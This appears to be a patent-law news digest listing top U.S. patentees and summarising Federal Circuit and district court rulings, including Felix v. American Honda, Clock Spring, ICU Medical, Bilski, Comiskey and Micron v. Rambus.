Patent News:

As reported by Hal Wegner and others, the following is the top 10 domestic patentees based on data from the IPO, and whether they are a member of the Coalition for Patent Fairness (CPF).

1. IBM, 4169
2. Microsoft, 2043 CPF member
3. Intel, 1772 CPF member
4. Hewlett-Packard 1,422 CPF member
5. Micron 1,277 CPF member
6. General Electric 1,243
7. AT&T, 820
8. Honeywell, 774
9. Texas Instruments, 755
10. Cisco, 704 CPF member

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In Felix v. American Honda Co., the Federal Circuit affirmed a Summary Judgment finding patent 6,155,625 not literally infringed and estopped from a doctrine of equivalents when the applicant canceled broad claims and incorporated them into independent claims. With respect to the literal infringement, the Fed. Cir. rejected four arguments put forth by Felix. The court was particularly testy due to misrepresentations by Felix as to how the dictionary defined the terms “mounted” and “engaging.” In both cases, the court rejected broad construction of these terms, electing to define “mounted” as “securely affixed or fastened to” and “engaging” as “forming a seal” but not “bring together” as argued for by Felix, or “latching” as the district court held.

With regard to the doctrine of equivalents, the court noted that Felix rewrote claim 7 , which included “a weathertight gasket mounted on said lip and engaging said lid in its closed position,” into independent form. Citing Festo, the Fed. Cir. held that, by adding these limitations into the broader canceled claim 1, Felix gave rise to a presumption of surrender. The fact that this first amendment did not succeed in obtaining an allowance and that a further amendment was required is of no consequence to the estoppel effect of the first amendment. Also, it was immaterial that the cancellation and amendment were to claims 1, 7, and 14, rather than to claims 8 and 16 which resulted in the asserted claim. Quoting Deering, “The presumption of surrender applies to all claims containing the [added] [l]imitation, regardless of whether the claim was, or was not, amended during prosecution.”¹⁾ Felix's arguments that the amendment was made for a different purpose and therefore only tangentially related to the gasket position was rejected. Stated the court, “If Felix had intended only to add a channel and not add a gasket, he could easily have simply amended original claim 1 to add limitation (e) and not limitation (f).

• Analysis and discussion
• Summary with excerpts

In Clock Spring v. Wrapmaster, the Fed. Cir. affirmed the district court's grant of summary judgment of invalidity of claims directed to a method for repairing high-pressure gas pipes, but on a ground not adopted by the district court. Specifically, the district court granted the summary judgment based on obviousness whereas the Fed. Cir. ruled the patent invalid for prior public use. Stated the court:

A use may be experimental only if it is designed to (1) test claimed features of the invention or (2) to determine whether an invention will work for its intended purpose – itself a requirement of patentability.

After establishing that the prior public use involved all features of asserted claim 1, the Fed. Cir. rejected Clock Spring's argument that the prior public use was designed to determine durability of the pipe-repairing method. The court noted that contemporaneous reports in the record identify the purpose as being “to demonstrate . . . the stops of application and the ability of minimally-trained crews to make Clock Spring installations” and for “acceptance by regulators and the pipeline industry.” One report stated that “recovery and analysis of installed composite after several years of exposure in pipeline settings was the only means of verifying the long-term performance . . . in moist soils.” But this was not persuasive to the Fed. Cir., which noted that the 1989 installation was not dug up and examined until almost a year after the 1992 patent application. Stated the court,

“Thus, even if durability were being tested, it was not for purposes of the patent application, and cannot bring the experimental use into play. By filing the 1992 application, the inventors represented that the invention was ready for patenting, and studies done thereafter cannot justify an earlier delay in filing the application under the rubric of experimental use.”

• Patent in suit
• Summary with excerpts
• Hal Wegner's take:
  

  ”Clock Spring is a useful reality check for applicants who wish to delay filing under the guise of “experimental use”. A tour de force treatment of the limitations of this doctrine may be found at pages 12-15 of the opinion.”

In ICU Medical v. Alaris Medical Systems, the Fed. Cir. affirmed the district court's narrow construction of the term, “spike” as being “an elongated structure having a pointed tip for piercing the seal, which tip may be sharp or slightly rounded” stating that “it is 'entirely proper to consider the functions of an invention in seeking to determine the meaning of particular claim language.'” ²⁾

§112, ¶1: In addition, the Fed. Cir. affirmed the district court's finding of invalidity under §112 ¶1 of broader “spikeless” claims. The Fed. Cir. cited LizardTech v. Earth Resource Mapping ³⁾ and rejected ICU's contention that “a person . . . would recognize that the specification discloses a preslit (or precut) seal that would permit fluid transmission without the piercing of a spike.” Stated the court: “It is not enough that it would have been obvious . . . that a preslit trampoline seal could be used without a spike. ICU has failed to point to any disclosure in the patent specification that describes a spikeless valve with a preslit trampoline seal” (citation omitted).

• Patent in suit - 6,682,509
• Summary with excerpts; discussion
• Comment on attorney-fees damage; discussion

In Nartron Corp. v. Schukra U.S.A., the Federal Circuit held on appeal from Summary Judgment that a person is not an inventor when the “contribution . . . was the exercise of ordinary skill in the art.” In addition, the court held that the person's contribution did not rise to the level of “inventor” because his contribution “was insignificant when measured against the full dimension of the invention of [the] claim” because (1) the specification only mentions the contribution once in a twenty-column patent, (2) refers to it as background, (3) does not discuss or show in drawings structural details, (4) does not describe the physical characteristics of the contribution, and (5) the contribution “is not, and could not be, . . . anything but obvious.”

• Patent in suit

In Netcraft v. Ebay and Paypal (December 2007), the Western District of Wisconsin narrowly construed the phrase, “providing a communications link through equipment of the third party” as requiring, for infringement, that Defendants perform a step of providing Internet access to customers. The term, “communications link” was interpreted consistently with the specification as essentially Internet access. Since Ebay and Paypal are not Internet Service Providers, they did not perform this step, and therefore were not infringing. I am posting this because although it is a district court decision, it illustrates a common pitfall with the use of the word “providing” in method claims.

• Summary, excerpts

on 01/27/09, Bilski filed for writ of certiorari with the following two questions being presented:

Whether the Federal Circuit erred by holding that a “process” must be tied to a particular machine or apparatus, or transform a particular article into a different state or thing (“machine-or-transformation” test), to be eligible for patenting under 35 U.S.C. § 101, despite this Court’s precedent declining to limit the broad statutory grant of patent eligibility for “any” new and useful process beyond excluding patents for “laws of nature, physical phenomena, and abstract ideas.”

Whether the Federal Circuit’s “machine-or-transformation” test for patent eligibility, which effectively forecloses meaningful patent protection to many business methods, contradicts the clear Congressional intent that patents protect “method[s] of doing or conducting business.” 35 U.S.C. § 273.

• Bilski's Petition (250 pages, 668 KB)
  • Paper-saver copy (125 pages, 984 KB)
• See the comprehensive Bilski page.
• Announcement, associated documents, discussion

In 2007, the Fed. Cir. issued its ruling that mental processes are not patentable. Now, the Fed. Cir., acting en banc, ordered that the original opinion be vacated and a new opinion be issued. The Order affirms the correctness of the original ruling in that “appellate tribunal [is allowed] to affirm an agency on alternative legal grounds or to remand to the agency to consider an alternative ground.” In this case, the BPAI rejected claims on obviousness grounds only, and the BPAI, rather than addressing the obviousness rejection, held that the method claims were non-statutory. Judge Moore, writing for the dissent and joined by Newman and Rader, states,

“In this case, the court declined to address the only ground for rejecting the patent claims decided below and appealed by the parties (§ 103). Instead, the court reached out to decide a new ground of rejection (§ 101), raised sua sponte by the court. The court evaluated both the process and machine claims under its chosen ground, § 101, concluding that the process claims were not directed to patentable subject matter, but that the machine claims, in light of our well-established precedent were directed to patentable subject matter. This resulted in affirming the rejection of the process claims albeit on a different ground and remanding the rejection of the machine claims without ever addressing the obviousness rejection by the PTO. Today, the en banc court vacates the original Comiskey opinion and permits the panel to revise it. The only change the panel makes is to remand the uncontroversial determination that

the machine claims are in fact directed to patentable subject matter. Why remand the machine claims and not the process claims? More importantly, why remand when the PTO already rejected the system claims as obvious. Given that the court has pointed to no flaw in the agency’s obviousness rejection, the court’s decision in Comiskey amounts to a wasteful remand.”

• Cached Fed. Cir. slips: Order; Revised opinion
• Summary and discussion
• Hal Wegner's take:

”[The] panel has repudiated controlling precedent of the court and indeed 180 years of practice since the Patent Act of 1839 that had established a strict proscription against a judicial reviewing body of Patent Office decisions playing de novo “examiner”. Instead, the reviewing court has had a limited statutory role that focused upon the rejection that had been made by the Office.

One hundred eighty years ago the Patent Act of 1839 established the ground rules for judicial review of Patent Office denials of patentability. A strict standard was established that the reviewing court should only review the decision below and never on a de novo basis impose a new ground to deny patentability.

• Summary, exceprts
  • Excerpts, discussion of Wegner's article

In Micron v. Rambus the district court in Delaware held that Micron was prejudiced by Rambus' conduct in destroying discoverable and relevant to anticipated litigation with Micron. The court was “not prepared to rely on Rambus' generally assertive approach to business to answer the question before the court.”⁴⁾ In determining sanctions, the court found that:

“the showing of bad faith is so clear and convincing that the showing of prejudice can be proportionally less. The spoliation conduct was extensive, including within its scope the destruction of innumerable documents relating to all aspects of Rambus' buisness; when considered in light of Rambus' litigation conduct, the very integrity of the litigation process has been impugned. Sanctions such as adverse jury instructions and preclusion of evidence are impractical, bordering on meaningless, under these circumstances and in the context of a typical trial. Therefore, the court concludes that the appropriate sanction for the conduct of record is to declare the patents in suit unenforceable against Micron.”

• Article